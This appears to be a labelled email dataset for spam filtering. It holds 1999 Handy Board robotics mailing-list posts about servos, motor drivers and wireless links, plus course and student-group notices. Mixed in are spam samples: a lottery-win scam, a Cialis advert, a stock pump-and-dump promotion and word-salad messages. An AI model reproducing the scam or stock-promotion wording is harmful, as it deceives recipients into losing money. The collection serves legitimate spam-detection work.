,handyboard@media.mit.edu,"Tue, 22 Dec 1931 11:36:25 +0000",ȸ��� ���ۼ�Ʈ���� �Ͼ������,������ ������ �������� ���������� ������  ����  ������  ���� ������  ���� ���� �������� ���� ���� ���� ���� ������ ������ ������������,1,1 STAATSLOTERIJ LOTTERY INTERNATIONAL ,handyboard@media.mit.edu,"Tue, 13 Apr 1999 20:29:57 +0200",CONGRATULATIONS,"STAATSLOTERIJ NL 2006 INTERNATIONAL PROGRAM Laan Van Hoornwijk 55, 2289 DG Rijswijk. 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Fred >Hi, this is kind of urgent, but i need to know how compile (is this the >write word of it?) an ASM file into an ICB file. Any help would be >appreciated. Please note that I am working on a Mac platform but I >normally do not use Macs. Thanks in advance. > >Yono > > ",0,0 Will Bain ,Handyboard Mailing List ,"Tue, 13 Apr 1999 18:54:05 -0600",Re: More servo jitters...,"wengd@optionshealthcare.com wrote: > As a follow up to my nervous servo, it gets the shakes even when > running as a single process. Ok, I confess... I recharged it on ZAP and > fell asleep... Is it possible that either the servo or the HB was damaged > by this in such a way as to give it a nervous tick??? Everything else > seems to function okay... > -Drew I doubt that the jitters are from zapping your battery. I get servo jitters, too, and I've never zapped my battery. I saw a suggestion on the list a while back that it has something to do with interference from the LCD printf routine. I plan to avoid the problem (and run lots of servos at once) by buying one of those multiple servo serial controller modules, like the kind that the Robot Store in CA sells. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Maybe this world Will Bain, is another planet's hell. & Tatoosh --Aldous Huxley ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 13 Apr 1999 20:00:36 -0700",Re: More servo jitters...,"Take a look here for an interesting looking servo controller: http://www.seetron.com/ Whatever route you go, please post the results. - - - Nick - - - Will Bain wrote: > I doubt that the jitters are from zapping your battery. I get servo > jitters, too, and I've never zapped my battery. I saw a suggestion on > the list a while back that it has something to do with interference from > the LCD printf routine.",0,1 Ian Nieves ,wengd@optionshealthcare.com,"Tue, 13 Apr 1999 23:32:11 -0400",Re: More servo jitters...,"My HB is totally new, and I also have the ""jitters"". However, I have never Zap charged the unit. Although when we observed the jitters we were excessievly calling printf()... We more promenently noticed the jitters when running 2 9V motors (with smooth PWM code). The jitters only occures in the range 20 - 30... You can probably best notice this by using the knob to set the PWM rate of the motors directly... ian wengd@optionshealthcare.com wrote: > As a follow up to my nervous servo, it gets the shakes even when > running as a single process. Ok, I confess... I recharged it on ZAP and > fell asleep... Is it possible that either the servo or the HB was damaged > by this in such a way as to give it a nervous tick??? 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I would also appreciate receiving a talley of the amount of specially allotted money that the University has provided (as matching money or otherwise) in support of your grants or research over the past 10 years. I am NOT referring to regular budgetary resources, program improvement items, or anything that I (A&S) might have provided in support of your grants or research. I mean: What has Herb (or Lou) provided of an unusual nature, as special additional support. In sum, I want to remind Herb about the net income that the Univesity has received as a result of your own initiatives. The sooner you can get these figures to me the better; I'll pursue this matter right away. Is there any deadline by which this matter needs to be resolved? David David E. Leary Dean of Arts and Sciences University of Richmond Richmond, VA 23173 Tel: 804-289-8416 Fax: 804-289-8818 E-mail: dleary@richmond.edu ",0,0 """Naser A. Ameen"" ",Chen Yung Hsu ,"Wed, 14 Apr 1999 16:46:01 -0600",Re: motor drivers,"Try Wriz electronics. I think their internet address is www.wriz.com On Wed, 14 Apr 1999, Chen Yung Hsu wrote: > Hi! i'm looking for places that sell DC motor drivers or H-bridges. if > anyone knows of any please email me back. > > =) thanx chen > > ",0,0 Gary Livick ,"""handyboard@media.mit.edu"" ","Wed, 14 Apr 1999 16:14:57 -0700",Re: how to,"Does anyone know what it takes to become an ""official Handy Board distributor"" of assembled boards? There are only two, and there ought to be three! Thanks, Gary Livick http://www.lightwaverobotics.com ",0,1 Kam Leang ,"""Naser A. Ameen"" ","Wed, 14 Apr 1999 17:36:51 -0600",Re: motor drivers,"-->Try Wriz electronics. I think their internet address is www.wriz.com Actually, it's Wirz Electronics http://www.wirz.com or you can check out http://www.acroname.com http://www.hvwtech.com http://www.robotstore.com Hope this helps. --kam http://www.mech.utah.edu/~kleang --> -->On Wed, 14 Apr 1999, Chen Yung Hsu wrote: --> -->> Hi! i'm looking for places that sell DC motor drivers or H-bridges. if -->> anyone knows of any please email me back. -->> -->> =) thanx chen -->> -->> --> --> ==================================================== Kam Leang University of Utah Department of Mechanical Engineering MEB Room 2202 Salt Lake City, Utah 84112 http://www.mech.utah.edu/~kleang http://www.robotikit.com ==================================================== ",0,1 Peter Hamer ,"Gary Livick , ""handyboard@media.mit.edu"" ","Thu, 15 Apr 1999 07:47:14 +0800",Re: how to,"Gary, Write direct to Fred Martin. By the way there are three! We downunder at robot-Oz do distribute unassembled and assembled boards in the Australia/Oceania area using Patrick Hui's boards. We just haven't made it onto the Vendor page yet. Will get on to that. Peter Hamer > > Does anyone know what it takes to become an ""official Handy Board > distributor"" of assembled boards? There are only two, and there ought > to be three! > -- Peter & Megan Hamer robot-Oz Web: http://www.robotOz.com.au Ph: (08) 9246-1573 E-mail: kits@robotOz.com.au Fax: (08) 9246-1563 7 Felgate Pl, Warwick, Perth, Western Australia, 6024 ",0,1 Mark.Gerstein@yale.edu,course@aragorn.csb.yale.edu,"Wed, 14 Apr 1999 19:49:56 -0400",Remember class on Friday,"Remember class on Friday ",0,0 Mark.Gerstein@yale.edu,course@aragorn.csb.yale.edu,"Wed, 14 Apr 1999 19:51:18 -0400",NB: Final project topic is completely up to you. ,"NB: Final project topic is completely up to you. It doesn't have to do anything with talk topic. Final project is NOT done with a partner. ",0,0 Mark.Gerstein@yale.edu,course@aragorn.csb.yale.edu,"Wed, 14 Apr 1999 19:52:20 -0400",Rajdeep Das will be helping out with getting,Rajdeep Das will be helping out with getting your talks and projects up on the web.,0,0 Keith Hearn ,Gary Livick ,"Wed, 14 Apr 1999 16:58:23 -0700",Re: how to ,"The licensing info is at : http://lcs.www.media.mit.edu/groups/el/projects/handy-board/howtoget/license.html Basicly, you can do what you want with it, invluding selling it, as long as you keep the copyright info intact, and acknowledge Fred Martin and the MIT Media Lab as the creators. Keith Disclaimer: I'm not a lawyer and the above is not legal advice. Read the licensing info for yourself before making any decisions. Past performance is no guarantee of future results. Your mileage may vary. There is no rule number 6. yada, yada, yada. In message <3715216D.E04E0B26@pacbell.net>, Gary Livick writes: > Does anyone know what it takes to become an ""official Handy Board > distributor"" of assembled boards? There are only two, and there ought > to be three! > > Thanks, > > Gary Livick > http://www.lightwaverobotics.com >",0,1 Patrick Cutts ,Handyboard@media.mit.edu,"Wed, 14 Apr 1999 17:01:39 -0700",Re: motor drivers,"might have better luck with www.wirz.com ---------- | From: Naser A. Ameen | To: Chen Yung Hsu | Cc: Handyboard@media.mit.edu | Subject: Re: motor drivers | Date: Wednesday, April 14, 1999 3:46 PM | | Try Wriz electronics. I think their internet address is www.wriz.com | | On Wed, 14 Apr 1999, Chen Yung Hsu wrote: | | > Hi! i'm looking for places that sell DC motor drivers or H-bridges. if | > anyone knows of any please email me back. | > | > =) thanx chen | > | >",0,0 """John S. Schneekloth"" ",,"Wed, 14 Apr 1999 23:08:45 -0400",Re: Smooth PWM for IC3.2?,"Eric/MSMKatz Newton Labs does offer smooth PWM routines for IC3.2. Check ftp://newtonlabs.com/contrib/smooth-pwm/ for details. I have used these with my handy board and expansion board (only simple test) and it worked fine. It does require some changes to the lib_hb.c file to make it work with the expansion board. Hope this helps. John S. Eric Noyau wrote: > At 12:18 4/11/99 , MSMKatz wrote: > >Hi everybody, > > > >I have IC3.2 and want to use the smooth PWM functions. > >I've already adapted my lib_hb.c file. If I use the pcode_hb.s19 file > >adapted for smooth PWM (downloaded from Fred Martin's site), everything > >works ok, only I end up with IC2.8! > > > >Has anybody modified the IC3.2 version of pcode_hb.s19 for using the > >smooth PWM functions? > > This problem is the only reason why I'm not buying the commercial version of IC. I'd buy in an heartbeat if *all* the code running on the handy board was available. Until then I stick with the free version. > > So far I've modified my pcode at least 4 times... > > -- Eric ",0,0 Osgood ,handyboard@media.mit.edu,"Wed, 14 Apr 1999 21:15:00 -0500",What's Hot in America today?,"be iowa be teddy on layout it gladiator it wrapup ",1,0 Leila Paulk ,course@bofur.csb.yale.edu,"Wed, 14 Apr 1999 23:00:07 -0500",zip your energy,"be plead the bowfin the butler and cytochemistry be demurred ",1,0 wengd@optionshealthcare.com,wired@cmu.edu,"Thu, 15 Apr 1999 09:25:17 -0500",Beyond the jitters...,"Well my code does make constant calls to printf() and motor() (although with the original PWM code). I did notice the jitters more on the low end. now I've put aside the head rotation and sonar routines and will start on the encoders. I am interested in using the servo as a head mounted sensor platform in order to perform tracking. The idea is that by sweeping the head a sensor map (sonar, pyro, beacon) is created and a heading is chosen. Does anyone know of a good resource for the types of algolrythms involved in sensor mapping... Thanks for the reply, -Drew >>> ""wired@cmu.edu"" 04/13/99 11:29pm >>> My HB is totally new, and I also have the ""jitters"". However, I have never Zap charged the unit. Although when we observed the jitters we were excessievly calling printf()... We more promenently noticed the jitters when running 2 9V motors (with smooth PWM code). The jitters only occures in the range 20 - 30... You can probably best notice this by using the knob to set the PWM rate of the motors directly... ian ",0,0 baileys@ktis.net,handyboard@media.mit.edu,"Thu, 15 Apr 1999 09:51:33 -0500",OT help needed,"I'm going away for ten days and I have lost the address to sign of this list. Would someone please send instructions to me directly? Thanks in advance, Bob Bailey ",0,0 Eric Noyau ,"""John S. Schneekloth"" ","Thu, 15 Apr 1999 10:46:51 -0700",Re: Smooth PWM for IC3.2?," You misunderstood my point, or maybe I was not clear enough. I know the smooth PWM algorithm are available for I3.2. What I require is all the source code that's running on my handy board to be available. It's not the case for IC3.2, so I'm not using it. To be more precise I think the low-level routines should be available in source, I don't really care about the virtual machine. -- Eric At 20:08 4/14/99 , John S. Schneekloth wrote: >Eric/MSMKatz > >Newton Labs does offer smooth PWM routines for IC3.2. Check >ftp://newtonlabs.com/contrib/smooth-pwm/ for details. I have used these with my handy board >and expansion board (only simple test) and it worked >fine. It does require some changes to the lib_hb.c file to make it work with the expansion >board. Hope this helps. > >John S. > >Eric Noyau wrote: > >> At 12:18 4/11/99 , MSMKatz wrote: >> >Hi everybody, >> > >> >I have IC3.2 and want to use the smooth PWM functions. >> >I've already adapted my lib_hb.c file. If I use the pcode_hb.s19 file >> >adapted for smooth PWM (downloaded from Fred Martin's site), everything >> >works ok, only I end up with IC2.8! >> > >> >Has anybody modified the IC3.2 version of pcode_hb.s19 for using the >> >smooth PWM functions? >> >> This problem is the only reason why I'm not buying the commercial version of IC. I'd buy in an heartbeat if *all* the code running on the handy board was available. Until then I stick with the free version. >> >> So far I've modified my pcode at least 4 times... >> >> -- Eric ",0,0 Ralph Friedman ,handyboard@media.mit.edu,"Sun, 13 Aug 2000 09:09:47 -0700","With cialis you don't have to hurry if you don't want to, you don't have to schedule your lovemaking if you don't want to.","Inflame your passion... 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In order to communicate with the handyboard, I'll need ( I think ) at least a two way half duplex transmission protocol. Here is the problem: In the current set-up, all four Linx Tx/ Rx modules are enabled at the same time. They all transmit at the same frequency, which causes a problem. Data sent to the transmitter on ""Board 1"" is immediately picked up by the receiver on the same board, having a loop- back effect. The problem can be solved by transmitting and receiving at two different frequencies, which is not too difficult, considering that Linx provides a dip switch to select between 8 different frequencies. Having explored this solution, however, I keep getting the following message whenever I try to run IC via the wireless link: Looking for prompt, received 255 Synchronizing with Board.... The number ""received"" varies with each successive synchronization attempt. So here is the question: On the Handyboard side: Is it possible to somehow monitor a pin on the 68HC11 to see whether it is transmitting or receiving? I plan to use this pin to enable only one Tx/ Rx pair at a time. (The Linx Tx/ Rx modules have a power down pin for this purpose). On the PC side: Could I use the DTR, CTS, and RTS serial pins to perform the same function? I am confident that the wireless link works in the simplex mode, since I was able to transmit an analog audio signal from a Walkman to a Stereo! Any thoughts on the matter would be highly appreciated. David Nagel New Jersey Institute of Technology. ",0,0 """Joe Marie J. Maja"" ",DjKOz97@aol.com,"Fri, 16 Apr 1999 15:21:48 +0900",Re: Wireless communication with the Handyboard,"DjKOz97@aol.com wrote: > So here is the question: > On the Handyboard side: Is it possible to somehow monitor a pin on the 68HC11 > to see whether it is transmitting or receiving? I plan to use this pin to > enable only one Tx/ Rx pair at a time. (The Linx Tx/ Rx modules have a power > down pin for this purpose). > On the PC side: Could I use the DTR, CTS, and RTS serial pins to perform the > same function? > I am confident that the wireless link works in the simplex mode, since I was > able to transmit an analog audio signal from a Walkman to a Stereo! > Any thoughts on the matter would be highly appreciated. > David Nagel > New Jersey Institute of Technology. I was doing some work on wireless between two boards using the DVP board. Though, I can't answer directly your problem coz you are using a computer as your other transceiver. So mine was a little bit easy, but maybe you can get something from here: The connection was basically the same with the wired one by Mr. Eacmen. pa7 and use the pd0 of the other transceiver board. Which also means that I am using one pin for Tx(PA7) and another one for Rx(PD0). (Some of the initialization code were from Dr. Martin and Dr. Sargent - Arigatou!) PD0 is the one that's connected with the Tx of the Rs232 in the computer so maybe you can use it. My configuration is: I only read my data once the transmitter is directly infront of my other bot, where commands are something like to put this can on the red trash and this soap to another trash, which again simplify my usage of RF. If there is something I can be of further help. Email onegai shimasu. joema ",0,0 Ryan Hinton ,DjKOz97@aol.com,"Fri, 16 Apr 1999 00:28:59 -0600",Re: Wireless communication with the Handyboard," We just finished using the same comm. boards for our senior project, so maybe I can help a little. On Fri, 16 Apr 1999 DjKOz97@aol.com wrote: > Hello, > > I've been very busy trying to communicate with the Handyboard via a > wireless link ( HP Development kit form Linx Technologies). I have > run into a slight problem- > > The kit comes with 2 ""development boards"" - each contains a > transmitter, receiver, and an antenna. Linx provides software to > establish a simplex communication between 2 computers ( which means > only one transmitter/receiver pair are used at a time). In order to > communicate with the handyboard, I'll need ( I think ) at least a > two way half duplex transmission protocol. > > Here is the problem: In the current set-up, all four Linx Tx/ Rx > modules are enabled at the same time. They all transmit at the same > frequency, which causes a problem. Data sent to the transmitter on > ""Board 1"" is immediately picked up by the receiver on the same > board, having a loop- back effect. The problem can be solved by > transmitting and receiving at two different frequencies, which is > not too difficult, considering that Linx provides a dip switch to > select between 8 different frequencies. > Having explored this solution, however, I keep getting the following > message whenever I try to run IC via the wireless link: > > Looking for prompt, received 255 > Synchronizing with Board.... > The number ""received"" varies with each successive synchronization > attempt. One interesting phenomenon we noticed was that we received random noise at the receiver when the transmitter wasn't on. However, when the transmitter was powered up, the receiver was quite consistent--and mostly noise-free. > So here is the question: > On the Handyboard side: Is it possible to somehow monitor a pin on > the 68HC11 to see whether it is transmitting or receiving? I plan > to use this pin to enable only one Tx/ Rx pair at a time. (The Linx > Tx/ Rx modules have a power down pin for this purpose). > > On the PC side: Could I use the DTR, CTS, and RTS serial pins to perform the > same function? > I am confident that the wireless link works in the simplex mode, since I was > able to transmit an analog audio signal from a Walkman to a Stereo! > Any thoughts on the matter would be highly appreciated. That sounds along the right lines of thinking, but the problem to me seems to be coordination. You're going wireless to remove the direct link, right? But to use a pin from the Handyboard to enable only one of the TX/RX pairs at a time would require a wire connection back to the PC, true? To me, it appears one of your more important issues is multiplexing the serial line to/from the Handyboard/PC. You didn't mention this in your e-mail, but it seems fairly obvious, so perhaps the omission was purely typographical. Anyway, you'll need a mux somewhere to choose between the serial line from the RX board and to the TX board. (As far as I know, anyway, IC can't transmit/receive on two different COM ports on the PC, nor push/pull serial data from different sources on the Handyboard.) Once you've established all the correct lines, voltage levels, etc. (we had a hard time with this...), you'll need select lines for the mux on each end. Now, we didn't play with this, but I remember a RSSI signal from the RX boards that, if I understand correctly, was supposed to indicate a detected carrier--i.e. it's receiving something. It seems you should hook this up as the select line to your mux. That way the serial line defaults to transmit, but should switch over to the RX board when it's receiving data. You'll have to check the documentation on the Linx boards, but this may be your ticket. Incidentally, don't forget to use a null-modem cable between the Linx boards and the Handyboard. This simple oversight cost us (me) a great deal of time and frustration. ------------------- Ryan Hinton ;) ryan_hinton@byu.edu http://www.et.byu.edu/~hintonr ",0,1 Kam Leang ,handyboard@media.mit.edu,"Fri, 16 Apr 1999 09:52:51 -0600",Sonar and Compass,"Hi everybody! I've been running both the Polaroid sonar sensor and Vector 2x digital compass on the HB without the expansion board. I'm using Kent Farnsworth's older sonar driver code that is designed for the motor driver output ports (U11). The digital compass is connected to the SPI port using Tom Brusehaver's code. (Great work guys!) Now, with the expansion board, I can do the same and have both sensors work, but the wiring is messy and I can't take advantage of the Polaroid header on the expansion board, not to mention I'm out 2 motor driver ports. Has anyone tried to interface both sensors on the expansion board through a different method? Perhaps some way of using the SPI port for both sensors? I'd appreciate any comments or suggestions. Thanks in advance. --kam BTW, this list is great! ==================================================== Kam Leang University of Utah Department of Mechanical Engineering MEB Room 2202 Salt Lake City, Utah 84112 http://www.mech.utah.edu/~kleang ==================================================== ",0,1 doug@los-gatos.net,handyboard@media.mit.edu,"Fri, 16 Apr 1999 08:59:13 -0700",design alternatives: servo control and power source,"Hello, I am planning to build a robot based on the Lynxmotion Hexapod II and Big Grip kits. There will be 12 servos for lego control, 2 servos for the manipulator, and 2 more for a camera pan/tilt unit. Everything appears fairly straightforward, but: 1) I am trying to decide on whether to use two mini SSCs or the Ferrettronics chips to control the servos. Does anyone have any info/experience that might sway me one way or the other? Is anyone aware of documentation or tips for using either of these with the handy board? 2) I am wondering if I can run the servos from the handy board batteries or if I need to have a separate battery pack for the servos. Obviously the HB batteries won't last very long if they are also running 16 servos, but would this work? TIA, Doug ",0,0 William Sitch ,"doug@los-gatos.net, handyboard@media.mit.edu","Fri, 16 Apr 1999 12:56:54 -0400",Re: design alternatives: servo control and power source,"Hi Doug: I built a 12-servomotor walking robot using two SSCs - their interface with the HandyBoard is well documented, and ICB drivers are available on the webpage. I communicate with two SSCs (www.seetron.com) via one serial line connected to PA7 - a digital input port - as documented. The SSCs require a 9-volt supply, so I share the HandyBoard battery. I use a rechargable NiCd battery, and to this point it hasn't required intentional recharging. The SSCs also take in a 4.8-volt to 6-volt supply that is pulse-width-modulated to drive the servomotors. In my experience, the twelve standard motors (50oz-in) can draw 3A at 5V at stall - which is a large amount of current. If you have a large 9-volt supply to power the boards and the motors, the servomotor current draw will spike and probably reset your control boards. You could try to isolate the supply leading to your boards, but that would be complicated and not completely effective. You'd also have to voltage divide the large 9-volt supply, and this gets tricky - you'd have a considerable loss over the voltage divider that would make this unattractive. The number 15% comes to mind, but I can't back that up. I used the one 9-volt NiCd for the HandyBoard and the SSCs, and a 4x1.2-volt NiCd battery pack for the servomotors. As I mentioned, the motors peaked at 3A of current draw. In retrospect, I would have designed for double the weight in batteries, and put four more NiCds in parallel for extended operating life. I hope that helps! -- William Sitch, http://www.engsoc.carleton.ca/~wsitch 4th Year Electrical Engineering at Carleton University ----- Original Message ----- From: To: Sent: Friday, April 16, 1999 11:59 AM Subject: design alternatives: servo control and power source >Hello, > >I am planning to build a robot based on the Lynxmotion Hexapod II >and Big Grip kits. There will be 12 servos for lego control, 2 >servos for the manipulator, and 2 more for a camera pan/tilt >unit. Everything appears fairly straightforward, but: > >1) I am trying to decide on whether to use two mini SSCs or the > Ferrettronics chips to control the servos. Does anyone have > any info/experience that might sway me one way or the other? > Is anyone aware of documentation or tips for using either > of these with the handy board? > >2) I am wondering if I can run the servos from the handy board > batteries or if I need to have a separate battery pack for > the servos. Obviously the HB batteries won't last very long > if they are also running 16 servos, but would this work? > >TIA, >Doug >",0,1 Mike Jones ,handyboard@media.mit.edu,"Fri, 16 Apr 1999 12:41:17 +0500",Re: design alternatives: servo control and power source,">Hello, > >I am planning to build a robot based on the Lynxmotion Hexapod II >and Big Grip kits. There will be 12 servos for lego control, 2 >servos for the manipulator, and 2 more for a camera pan/tilt >unit. Everything appears fairly straightforward, but: > >1) I am trying to decide on whether to use two mini SSCs or the > Ferrettronics chips to control the servos. Does anyone have > any info/experience that might sway me one way or the other? > Is anyone aware of documentation or tips for using either > of these with the handy board? I don't have the Ferrettronics chip datasheet in front of me but some off the cuff calculations: 2400 bps/10 bits per byte=240 bytes per second each servo will require at least 2 bytes (servo # and position) 16 servos * 2 = 32 bytes for each position update (if the protocol also has a chip address then 16 * 3 = 48 bytes!) if you can talk with 2 different chips simultaneously then 32/2=16 bytes per update 240/32 = ~7 so your leg position updates will only happen every 1/7 second which is pretty slow and the legs would move like driven by stepper motors (stop, start, stop, start) I think the ssc will communicate faster than 2400 bps so updates can happen faster. > >2) I am wondering if I can run the servos from the handy board > batteries or if I need to have a separate battery pack for > the servos. Obviously the HB batteries won't last very long > if they are also running 16 servos, but would this work? You should be able to run from the same battery as long as to drop the voltage down to about 6V but definately be sure to use the same ground or the servos won't operate correctly. If you do decide to use separate batteries make sure the grounds are also connected. On a different subject, you may want to join the legged robots mail list. Just send an email to legged-robots-subscribe@egroups.com It will respond with a message of instructions. This list has been pretty active and can help you with all sorts of issues related to walking robots. Mike (moderator of the legged robots mail list) ",0,0 Tom Brusehaver ,kleang@eng.utah.edu,"Fri, 16 Apr 1999 13:14:29 -0500",Re: Sonar and Compass," >Now, with the expansion board, I can do the same and have both sensors >work, but the wiring is messy and I can't take advantage of the >Polaroid header on the expansion board, not to mention I'm out 2 motor >driver ports. Has anyone tried to interface both sensors on the expansion >board through a different method? Perhaps some way of using the SPI port >for both sensors? I have started working on an expansion board version of the compass code. I won't have it done before fall probably (unless is snows or something really bad). I am involved in another huge project right now. My thoughts are to have the compass in slave mode again, then do a manual clocking of the data in. I would connect more of the compass pins to the expansion board pins (reset, calibrate, etc). If anyone thinks of a better way to do this, go for it. ",0,0 Jon Ryan Schuck ,"""handyboard@media.mit.edu"" ","Fri, 16 Apr 1999 15:31:03 -0500",Help on Microprocessor circuitry(4.1),"I'm having a lot of trouble with the first assembly of the handy board(4.1)...I installed all the parts, but the led does not light and I get zero voltage at GND and +5v...What could cause zero voltage accross the board??? I already switched D3(like the manual says) and U13 looks just like the picture.. please reply, Jon Schuck ",0,0 Michael Hawley ,"tot@amt.media.mit.edu, play99@amt.media.mit.edu","Fri, 16 Apr 1999 16:37:56 -0400",Reiner Knizia on Tuesday,"Reiner Knizia, renowned game designer, is visiting the Lab on Tuesday; Matthew Gray is hosting him, and he will be speaking from 4-5 after the Projects in Play class. Let's show him a fun time. Can you please let Matthew know if you'd like to show Reiner your work? thanks, Mike ",0,0 Bob Kelly ,handyboard@media.mit.edu,"Fri, 16 Apr 1999 17:14:30 -0400",Please help,"Hello all, I want to power some twelve volt gearmotors (The kind currently available from Acroname) with the H board without extensively (or permanently) modifiying the H board. My plan is to use some MOSFETS that have a low voltage gate threshold and attach one each to the various motor outputs (one each for two motors). I plan to attach an external 12v, 2 amp gel-cell battery to my gearmotors through the MOSFETS. The motor-out lines from the H board will have a diode, a current limiting resistor and will finally attach to the gate on the MOSFET. The ground from the external 12v battery will be common with the H board. Each motor will have two MOSFET circuits attached with opposing polarity to give forward and reverse. The existing PWM and driver circuit will then drive the MOSFET which will then switch the motor on and off as if it were directly connected to the motor output. Will this work?? My electronics experience is limited and I don't really want to spend the money on H bridge kits that may or may not interface easily with the H board. I would appreciate any comments, no matter how scathing. Thanks. ",0,0 Landon Byrne ,"handyboard@media.mit.edu, deana@media.mit.edu, laverne@media.mit.edu, luis@media.mit.edu, jannie@media.mit.edu","Fri, 16 Apr 1999 17:23:51 +0000",Squawk Box Equity,"Tech |nvestment Review Nanotechnology st0cks continue to perform at superstar levels. We have carefully sifted through these cutting egde companies to bring you this special winner. Company: Nano Superlattice Technology,Inc.|<_.|\\| . s . |_ . t_>| Currently Priced at: $2.50 Expected Short Term: $6.90 Rating: STR0NG_BUY A Massive PR Campaign is Underway for this Week starting Monday! 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Rather, invest0rs should use the information as a starting point for doing additional independent research on the featured company.",1,0 Kwin Hultman Kramer ,play99@media.mit.edu,"Fri, 16 Apr 1999 18:29:17 -0400",readings for Tuesday,"Hi, As scheduled, we've picked some readings that revolve around a ""toys and gender identity"" theme. The readings are four, three photocopied and one available 'lectronically. The photocopied readings are available in stapled collectivity at the usual place just outside the glass wall of Mitchel's office. There's a high-heeled shoe on the cover page. -- On paper: Rand, Erica. ""Introduction: On Our Backs, in Our Attics, on Our Minds"" in _Barbie's Queer Accessories_. Duke, 1995. Subrahmanyam and Greenfield. ""Computer Games for Girls: What Makes Them Play"" in _From Barbie to Mortal Kombat: Gender and Computer Games_, ed. Cassel and Jenkins. MIT, 1998. ""An Interview with Brenda Laurel (Purple Moon) in in _From Barbie to Mortal Kombat: Gender and Computer Games_, ed. Cassel and Jenkins. MIT, 1998. On line: Sella, Marshall. ""Will a Flying Doll ... Fly?"" New York Times section 6, page 20, column 1; 12/25/94. http://el.www.media.mit.edu/classes/play99/nyt-article.txt -- Barbie -- whose only competition as preeminent synechdoche of American gender theory is that 800-pound pop-culture gorilla (and maybe guerrilla, depending on who you read) Madonna -- figures prominently in the three photocopied essays: Erica Rand has written an amazing little book on the complex and shifting dialog that surrounds our favorite anorexic doll. She defines the relationship between Mattel (producer of Barbie artifact and artifice) and the people who purchase and play with Barbie (consumers of the former but not always the latter) as prototypically hegemonic, that is, as characterized by a fluid but always lopsided negotiation of social consent. The introduction to her book explains her motivations and methodology quite nicely. Subrahmanyam and Greenfield give a straightforward analysis of the success of the ""Barbie Fashion Designer"" software, based on their own research on how/why girls play. (Note, ""straightforward"" is not meant to imply that we should agree with the conclusions they draw, just that they explain why they drew them in some detail.) Branda Laurel, in an interview conducted by former Media Lab students, explains how her own personal history and research shape the games that she produced for now-defunct Purple Moon. Again, we should talk about whether we find her assertions plausible, and how different we think the categories of ""research-derived-truth"" and ""barely-justified-assumption"" really are, here. The New York Times article recounts how Galoob designed the ""Sky Dancer"" line of toys for the Christmas '94 season. The article leaves you wondering whether the toy will be a success, implying that there is no way to predict such things (although one would think that being the subject of a NYT Magazine cover story helps). I'll ruin the suspense and tell you that the Sky Dancers were a big hit, spawning a cartoon and even a spin-off line of boy's toys. Kwin",0,1 """Curt Mills, WE7U"" ",Handyboard@media.mit.edu,"Fri, 16 Apr 1999 15:39:14 -0700",GCC Handyboard Library," For all of you (2?) who have been anxiously awaiting the Handyboard library for the GCC compiler: It ain't ready yet. :-( Keith Hearn and myself have been working hard at different pieces of it, and we're hoping to have a merged library sometime soon. If anyone wants to help in this endeavor, perhaps testing out various pieces of the library with real devices or writing new drivers, please contact me. The pieces that haven't been tested well are the stepper code, the DC motor code, serial in, and the Dallas Semiconductor code. There's no servo code yet, but I may work on that this weekend. The only sensor code consists of generic analog/digital input routines. Pieces that appear to work: Beeper, msleep, sleep, analog, digital, motor, stepper, lcd low-level code, serial output, system timer interrupt. My code currently requires a bare handyboard with no expansion interface and an E1/E9 processor (due to my current LCD code). Keith is coding for a handyboard with an expansion interface and his code doesn't have the restriction on the processor like mine does. Once we combine the libraries it should work on darn near anything. Contact me at both addresses to guarantee timely response. Thanks, Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Robert Pitts ,info@gso.bu.edu,"Fri, 16 Apr 1999 19:24:25 -0400","GSO - summary of Thu, Apr 15, 99 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next general meeting will be on Thursday, April 29, 5:30-6:45pm. --Rob Summary ======= 1. Committee Reports Financial, Academic and Research Committee ========================================== (Formerly the ""Funding Committee"". Their new e-mail is far@gso.bu.edu.) Gareth Roberts reported for this committee. - They're still working on a set of guidelines for advising at BU. - Their speaker for a talk on ""Intellectual Property"" still hasn't committed to a date, so they expect the talk may have to be deferred until the Fall. ---- They also wanted to call attention to 2 conferences: Harvard recently had a teleconference on ""Grad Student Mentoring"" and COCAL will be having a conference on ""Academic Labor"" (including grad students). Contact far@gso.bu.edu for more info about either of those. Healthcare Committee ==================== Rob Pitts reported for this committee. The committee's talk on ""Student Healthcare"" (4/6/99) went well: - 18 students attended. These seemed to be mainly (or all) grads even though undergraduates were invited as well. Students asked many of the questions that were discussed as important at previous general meeting. Committee members asked those questions not covered by other students. - An additional representative from Student Health Services, their Associate Director, attended as well (giving 2 representatives from Student Health Services and 1 from Chickering). - Ads for the talk made it into both the Bridge and the Daily Free Press (DFP), but they both misprinted the date of the talk (see topic 3 below about how Bridge announcements end up in the DFP). Currently, they are working on: - Writing up the questions and answers from the talk. These will be placed on the Healthcare Pages (http://gso.bu.edu/healthcare/). - Finishing up a few write-ups that were deferred while organizing the Healthcare talk. Housing Committee ================= Both committee members will be taking qualifying exams this weekend, so they did not report. Liaison Committee ================= Gary Garber reported for this committee by e-mail. - Although GRS doesn't want to do a BBQ for the Fall new student reception (recall that this is due to it being ruined if there is bad weather), they are willing to do a BBQ as a separate grad social event in the Fall or Spring. - We cannot place the NAGPS insurance plan flyer (they have a 1-page flyer that promotes the plan) in mailings to new students. GRS's main concern is that it would seem as if GRS was endorsing the NAGPS plan, and since there isn't a formal financial relationship between NAGPS and BU, they don't seem too keen on the idea. GRS says we can hand out info on the NAGPS plan at our table at the Fall reception and we may be able to mention the plan in our own GSO flyer (which we can include in mailings). Social Committee ================ Cassandra Celatka reported for this committee. April's Social event will be billiards at Boston Billiards: - It will be on Wednesday, April 28th, 6:30pm - Pool tables go for approximately $8/hour, HOWEVER, since Wednesday is ""Ladies Night"", the cost is reduced by 25% for each woman at a table (so >= 4 women makes that table free). - Students should be able to pay for their drinks as they order them or can probably run tabs if they like. - They are not yet sure what money we will get for snacks (from GRS) and what we will be able to purchase. Steering Committee ================== Dave Morgan and Jen Wenner reported for this committee. Their report consisted of a presentation/discussion of the articles in the ""Constitution, Bylaws, etc."" section below. 2. Constitution, Bylaws, etc. The Steering Committee is leaving some extra 